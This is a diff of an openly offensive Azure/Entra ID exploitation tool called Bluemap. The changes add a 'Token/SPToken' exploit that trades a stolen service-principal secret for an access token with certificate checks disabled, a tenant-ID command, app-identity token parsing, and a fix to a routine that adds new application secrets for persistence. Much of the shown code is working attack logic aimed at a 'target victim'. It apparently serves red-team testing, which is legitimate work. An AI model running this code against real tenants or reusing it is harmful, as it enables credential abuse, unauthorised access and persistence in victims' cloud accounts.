| skipped 202 lines |
203 | 203 | | pass |
204 | 204 | | return object |
205 | 205 | | |
| 206 | + | def sendPOSTRequestSPToken(tenantId, clientId, secretToken): |
| 207 | + | object = {} |
| 208 | + | o = urlparse("https://login.microsoftonline.com/"+str(tenantId)+"/oauth2/v2.0/token") |
| 209 | + | ctx = ssl.create_default_context() |
| 210 | + | ctx.check_hostname = False |
| 211 | + | ctx.verify_mode = ssl.CERT_NONE |
| 212 | + | conn = http.client.HTTPSConnection(o.netloc) |
| 213 | + | headers = { |
| 214 | + | 'Content-Type': 'application/x-www-form-urlencoded' |
| 215 | + | } |
| 216 | + | data = { |
| 217 | + | 'grant_type': 'client_credentials', |
| 218 | + | 'client_id': clientId, |
| 219 | + | 'scope': '.default', |
| 220 | + | 'client_secret': secretToken, |
| 221 | + | } |
| 222 | + | qs = urllib.parse.urlencode(data) |
| 223 | + | conn.request("POST", str(o.path), qs, headers) |
| 224 | + | res = conn.getresponse() |
| 225 | + | object["headers"] = dict(res.getheaders()) |
| 226 | + | object["status_code"] = int(res.status) |
| 227 | + | object["response"] = str(res.read().decode("utf-8")) |
| 228 | + | try: |
| 229 | + | object["json"] = json.loads(object["response"]) |
| 230 | + | except json.JSONDecodeError: |
| 231 | + | pass |
| 232 | + | return object |
| 233 | + | |
206 | 234 | | def DeviceCodeFlow(): |
207 | 235 | | object = {} |
208 | 236 | | o = urlparse("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0") |
| skipped 22 lines |
231 | 259 | | pass |
232 | 260 | | return object |
233 | 261 | | |
234 | | - | def DeviceCodeFlowAuthUser(teantnId, deviceCode, userCode): |
| 262 | + | def DeviceCodeFlowAuthUser(teantnId, deviceCode): |
235 | 263 | | object = {} |
236 | 264 | | o = urlparse("https://login.microsoftonline.com/"+str(teantnId)+"/oauth2/v2.0/token") |
237 | 265 | | ctx = ssl.create_default_context() |
| skipped 44 lines |
282 | 310 | | except json.JSONDecodeError: |
283 | 311 | | pass |
284 | 312 | | return object |
| 313 | + | |
285 | 314 | | def get_random_string(size): |
286 | 315 | | chars = string.ascii_lowercase+string.ascii_uppercase+string.digits |
287 | 316 | | ''.join(random.choice(chars) for _ in range(size)) |
| skipped 6 lines |
294 | 323 | | else: |
295 | 324 | | b64_string = Token.split(".")[1] |
296 | 325 | | b64_string += "=" * ((4 - len(Token.split(".")[1].strip()) % 4) % 4) |
297 | | - | return json.loads(base64.b64decode(b64_string))['upn'] |
| 326 | + | data = json.loads(base64.b64decode(b64_string)) |
| 327 | + | if 'app_displayname' in data: |
| 328 | + | return data['app_displayname'] + "@" + data['tid'] |
| 329 | + | return data['upn'] |
298 | 330 | | |
299 | 331 | | def parseUPNObjectId(): |
300 | 332 | | global Token |
| skipped 657 lines |
958 | 990 | | addSecretPwd = sendPOSTRequest("https://graph.microsoft.com/v1.0/applications/" + str(appData) + "/addPassword", req, accessTokenGraph) |
959 | 991 | | if addSecretPwd['status_code'] == 200: |
960 | 992 | | pwdOwn = addSecretPwd['json'] |
961 | | - | return "AppId: " + pwdOwn['keyId'] + "| Pwd: " + pwdOwn['secretText'] |
| 993 | + | return "AppId: " + appId + "| Pwd: " + pwdOwn['secretText'] |
962 | 994 | | else: |
963 | 995 | | return "N/A" |
964 | 996 | | else: |
| skipped 385 lines |
1350 | 1382 | | ''' |
1351 | 1383 | | supportedCommands = [ |
1352 | 1384 | | "version", |
| 1385 | + | "tid", |
1353 | 1386 | | "whoami", |
1354 | 1387 | | "scopes", |
1355 | 1388 | | "get_subs", |
| skipped 18 lines |
1374 | 1407 | | ] |
1375 | 1408 | | exploits = [ |
1376 | 1409 | | "Token/AuthToken", |
| 1410 | + | "Token/SPToken", |
1377 | 1411 | | "Token/GenToken", |
1378 | 1412 | | "Token/SetToken", |
1379 | 1413 | | "Token/RefreshToken", |
| skipped 44 lines |
1424 | 1458 | | print("Bluemap 1.0.0-Beta") |
1425 | 1459 | | elif mode == "whoami": |
1426 | 1460 | | currentProfile() |
| 1461 | + | elif mode == "tid": |
| 1462 | + | if Token == None: |
| 1463 | + | print("Please set target victim access token. Use Token/* exploits.") |
| 1464 | + | else: |
| 1465 | + | parseTenantId() |
1427 | 1466 | | elif mode == "scopes": |
1428 | 1467 | | currentScope() |
1429 | 1468 | | elif mode == "get_subs" or mode == "subs": |
| skipped 217 lines |
1647 | 1686 | | elif mode == "deltoken": |
1648 | 1687 | | print("Resetting token..") |
1649 | 1688 | | setToken("") |
| 1689 | + | elif "Token/SPToken" in ExploitChoosen and mode == "run": |
| 1690 | + | TenantId = input("Enter TenantId: ") |
| 1691 | + | AppId = input("Enter AppId: ") |
| 1692 | + | Secret = input("Enter Secret: ") |
| 1693 | + | r = sendPOSTRequestSPToken(TenantId, AppId, Secret) |
| 1694 | + | response = r["json"] |
| 1695 | + | if 'access_token' in response: |
| 1696 | + | print("Credentials OK, Generate token...") |
| 1697 | + | initToken(response['access_token'], False) |
| 1698 | + | print("Done.") |
| 1699 | + | else: |
| 1700 | + | print("Invalid Service Principle AppId / Secret / TenantId.") |
1650 | 1701 | | elif "Token/GenToken" in ExploitChoosen and mode == "run": |
1651 | 1702 | | print("Trying getting token automatically for you...") |
1652 | 1703 | | AutoGenToken = True |
| skipped 18 lines |
1671 | 1722 | | initToken(token, False) |
1672 | 1723 | | print("Token Refresh. Done.") |
1673 | 1724 | | else: |
1674 | | - | ''' For any other manual method (Token/SetToken or Token/AuthToken)''' |
1675 | | - | print("Refresh token not supported for Token/SetToken or Token/AuthToken. Try to login again.") |
| 1725 | + | ''' For any other manual method (Token/SetToken or Token/AuthToken or Token/SPToken)''' |
| 1726 | + | print("Refresh token not supported for Token/SetToken or Token/AuthToken or Token/SPToken. Try to login again.") |
1676 | 1727 | | elif "Reader/ExposedAppServiceApps" in ExploitChoosen and mode == "run": |
1677 | 1728 | | print("Trying to enumerate all external-facing Azure Service Apps..") |
1678 | 1729 | | if len(RD_ListExposedWebApps()) < 1: |
| skipped 225 lines |
1904 | 1955 | | print("Credentials OK, continue..") |
1905 | 1956 | | x = DeviceCodeFlow() |
1906 | 1957 | | dc = x["json"]["device_code"] |
1907 | | - | uc = x["json"]["user_code"] |
| 1958 | + | b64_string = response['access_token'].split(".")[1] |
| 1959 | + | b64_string += "=" * ((4 - len(response['access_token'].split(".")[1].strip()) % 4) % 4) |
| 1960 | + | TenantId = json.loads(base64.b64decode(b64_string))['tid'] |
1908 | 1961 | | print("Now follow the next steps to complete the process:") |
1909 | 1962 | | print(x["json"]["message"]) |
1910 | 1963 | | while(True): |
1911 | | - | res = DeviceCodeFlowAuthUser("5adb82f3-e85b-42af-b237-adf6e094f963",dc, uc)["json"] |
| 1964 | + | res = DeviceCodeFlowAuthUser(TenantId,dc)["json"] |
1912 | 1965 | | if 'error_description' in res: |
1913 | 1966 | | continue |
1914 | 1967 | | else: |
| skipped 443 lines |